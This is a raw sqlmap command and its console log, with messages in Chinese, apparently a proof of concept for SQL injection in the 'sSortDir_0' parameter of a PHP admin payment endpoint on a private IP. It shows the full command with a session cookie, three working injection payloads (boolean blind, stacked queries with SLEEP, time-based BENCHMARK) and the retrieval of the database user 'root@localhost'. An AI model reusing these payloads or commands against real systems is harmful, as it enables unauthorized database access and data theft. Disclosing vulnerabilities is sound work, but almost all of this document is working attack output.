python sqlmap.py -u 'http://192.168.0.62/admin/ajax/payment_manage.ajax.php?languageId=1&sEcho=17&iColumns=5&sColumns=file_icon%2Clanguage_key%2Cenglish_content%2Ctranslated_content%2C&iDisplayStart=0&iDisplayLength=50&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&iSortingCols=1&iSortCol_0=1&sSortDir_0=asc&bSortable_0=false&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=false&filterText=Support' --cookie="filehosting=6r7tecbbbqss2noh359mg0jlm6" --dbms mysql --risk 3 --level 5 -p sSortDir_0 --current-user

[00:19:10] [INFO] 正在测试目标 URL 的连接
[00:19:10] [INFO] 启发式检测到网页字符集 'ascii'
sqlmap 从存储的会话中恢复了以下注入点：
---
参数：sSortDir_0 (GET)
    类型：基于布尔的盲注
    标题：MySQL >= 5.0 基于布尔的盲注 - ORDER BY, GROUP BY 子句
    载荷：languageId=1&sEcho=17&iColumns=5&sColumns=file_icon,language_key,english_content,translated_content,&iDisplayStart=0&iDisplayLength=50&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&iSortingCols=1&iSortCol_0=1&sSortDir_0=asc,(SELECT (CASE WHEN (9452=9452) THEN 1 ELSE 9452*(SELECT 9452 FROM INFORMATION_SCHEMA.PLUGINS) END))&bSortable_0=false&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=false&filterText=Support

    类型：堆叠查询
    标题：MySQL >= 5.0.12 堆叠查询（注释）
    载荷：languageId=1&sEcho=17&iColumns=5&sColumns=file_icon,language_key,english_content,translated_content,&iDisplayStart=0&iDisplayLength=50&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&iSortingCols=1&iSortCol_0=1&sSortDir_0=asc;SELECT SLEEP(5)#&bSortable_0=false&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=false&filterText=Support

    类型：基于时间的盲注
    标题：MySQL >= 5.1 基于时间的盲注（重型查询 - 注释）- PROCEDURE ANALYSE (EXTRACTVALUE)
    载荷：languageId=1&sEcho=17&iColumns=5&sColumns=file_icon,language_key,english_content,translated_content,&iDisplayStart=0&iDisplayLength=50&mDataProp_0=0&mDataProp_1=1&mDataProp_2=2&mDataProp_3=3&mDataProp_4=4&sSearch=&bRegex=false&sSearch_0=&bRegex_0=false&bSearchable_0=true&sSearch_1=&bRegex_1=false&bSearchable_1=true&sSearch_2=&bRegex_2=false&bSearchable_2=true&sSearch_3=&bRegex_3=false&bSearchable_3=true&sSearch_4=&bRegex_4=false&bSearchable_4=true&iSortingCols=1&iSortCol_0=1&sSortDir_0=asc PROCEDURE ANALYSE(EXTRACTVALUE(7487,CONCAT(0x5c,(BENCHMARK(5000000,MD5(0x7978466b))))),1)#&bSortable_0=false&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=false&filterText=Support
---
[00:19:10] [INFO] 正在测试 MySQL
[00:19:10] [INFO] 正在确认 MySQL
[00:19:10] [INFO] 后端 DBMS 是 MySQL
Web 服务器操作系统：Linux Ubuntu
Web 应用技术：Apache 2.4.7, PHP 5.5.9
后端 DBMS：MySQL >= 5.0.0
[00:19:10] [INFO] 正在获取当前用户
[00:19:10] [WARNING] 以单线程模式运行。请考虑使用 '--threads' 选项以加快数据检索速度
[00:19:10] [INFO] 检索到：root@localhost
当前用户：'root@localhost'